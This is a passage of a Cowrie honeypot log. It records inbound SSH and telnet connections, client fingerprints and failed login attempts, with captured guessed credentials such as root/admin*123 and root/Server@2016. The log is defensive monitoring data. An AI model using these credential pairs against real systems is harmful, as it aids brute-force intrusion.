{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":50754,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0a849e63b62","protocol":"telnet","message":"New connection: 137.184.5.188:50754 (159.203.135.109:23) [session: f0a849e63b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:13:34.332845Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":59498,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fed1ee1dd6b","protocol":"telnet","message":"New connection: 72.167.226.244:59498 (10.17.0.5:23) [session: 8fed1ee1dd6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:13:50.267844Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":37060,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c75b24f1fdd","protocol":"telnet","message":"New connection: 72.167.226.244:37060 (10.17.0.5:23) [session: 2c75b24f1fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:01.168698Z"}
{"eventid":"cowrie.session.closed","duration":31.654811143875122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:05.987545Z","src_ip":"137.184.5.188","session":"f0a849e63b62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":36030,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3e6aa3376df","protocol":"ssh","message":"New connection: 101.36.119.203:36030 (10.17.0.5:22) [session: f3e6aa3376df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:16.088521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:16.092304Z","src_ip":"101.36.119.203","session":"f3e6aa3376df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:16.305220Z","src_ip":"101.36.119.203","session":"f3e6aa3376df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin*123","message":"login attempt [root/admin*123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:17.189502Z","src_ip":"101.36.119.203","session":"f3e6aa3376df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":39252,"dst_ip":"10.17.0.5","dst_port":22,"session":"37e71e54e506","protocol":"ssh","message":"New connection: 144.91.108.61:39252 (10.17.0.5:22) [session: 37e71e54e506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:17.216011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:17.220744Z","src_ip":"144.91.108.61","session":"37e71e54e506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:17.315919Z","src_ip":"144.91.108.61","session":"37e71e54e506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hnt@M@st3r$","message":"login attempt [root/Hnt@M@st3r$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:17.595125Z","src_ip":"144.91.108.61","session":"37e71e54e506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:18.403697Z","src_ip":"101.36.119.203","session":"f3e6aa3376df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:18.689528Z","src_ip":"144.91.108.61","session":"37e71e54e506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77949857711792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:21.047220Z","src_ip":"72.167.226.244","session":"8fed1ee1dd6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":62479,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6a9bf5499b0","protocol":"ssh","message":"New connection: 87.156.182.84:62479 (10.17.0.5:22) [session: f6a9bf5499b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:25.988602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:25.992342Z","src_ip":"87.156.182.84","session":"f6a9bf5499b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:26.098054Z","src_ip":"87.156.182.84","session":"f6a9bf5499b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2016","message":"login attempt [root/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:27.545004Z","src_ip":"87.156.182.84","session":"f6a9bf5499b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:28.682194Z","src_ip":"87.156.182.84","session":"f6a9bf5499b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.924540519714355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:32.092900Z","src_ip":"72.167.226.244","session":"2c75b24f1fdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":58282,"dst_ip":"159.203.135.109","dst_port":23,"session":"cddd31642db4","protocol":"telnet","message":"New connection: 137.184.5.188:58282 (159.203.135.109:23) [session: cddd31642db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:34.220022Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":35920,"dst_ip":"10.17.0.5","dst_port":22,"session":"e97692e160e9","protocol":"ssh","message":"New connection: 162.215.213.210:35920 (10.17.0.5:22) [session: e97692e160e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:39.402881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:39.406046Z","src_ip":"162.215.213.210","session":"e97692e160e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:39.494837Z","src_ip":"162.215.213.210","session":"e97692e160e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iota123","password":"iota123","message":"login attempt [iota123/iota123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:39.762034Z","src_ip":"162.215.213.210","session":"e97692e160e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:40.853355Z","src_ip":"162.215.213.210","session":"e97692e160e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":37560,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe68ebcd5819","protocol":"ssh","message":"New connection: 192.169.244.109:37560 (159.203.135.109:22) [session: fe68ebcd5819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:59.375293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:59.378894Z","src_ip":"192.169.244.109","session":"fe68ebcd5819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:59.444996Z","src_ip":"192.169.244.109","session":"fe68ebcd5819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"germany","password":"Berlin#Ethereum@P@ss","message":"login attempt [germany/Berlin#Ethereum@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:14:59.662958Z","src_ip":"192.169.244.109","session":"fe68ebcd5819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:00.730082Z","src_ip":"192.169.244.109","session":"fe68ebcd5819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":46258,"dst_ip":"10.17.0.5","dst_port":22,"session":"14ae887eac80","protocol":"ssh","message":"New connection: 162.214.159.200:46258 (10.17.0.5:22) [session: 14ae887eac80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:09.487771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:09.491788Z","src_ip":"162.214.159.200","session":"14ae887eac80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:09.581789Z","src_ip":"162.214.159.200","session":"14ae887eac80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P0lk@d0t!S3cur3","message":"login attempt [root/P0lk@d0t!S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:09.858912Z","src_ip":"162.214.159.200","session":"14ae887eac80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:13.422169Z","src_ip":"162.214.159.200","session":"14ae887eac80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54536,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d2762d07815","protocol":"telnet","message":"New connection: 107.6.151.170:54536 (159.203.135.109:23) [session: 3d2762d07815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:14.572030Z"}
{"eventid":"cowrie.session.closed","duration":60.539422035217285,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:34.759345Z","src_ip":"137.184.5.188","session":"cddd31642db4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":55190,"dst_ip":"159.203.135.109","dst_port":22,"session":"96773d668b21","protocol":"ssh","message":"New connection: 77.94.47.83:55190 (159.203.135.109:22) [session: 96773d668b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:45.449443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:45.453108Z","src_ip":"77.94.47.83","session":"96773d668b21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:45.565262Z","src_ip":"77.94.47.83","session":"96773d668b21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alanis","message":"login attempt [root/alanis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:45.894094Z","src_ip":"77.94.47.83","session":"96773d668b21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:47.009107Z","src_ip":"77.94.47.83","session":"96773d668b21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":40630,"dst_ip":"10.17.0.5","dst_port":22,"session":"a26eaca201c5","protocol":"ssh","message":"New connection: 87.251.79.125:40630 (10.17.0.5:22) [session: a26eaca201c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:56.463017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:56.467695Z","src_ip":"87.251.79.125","session":"a26eaca201c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecd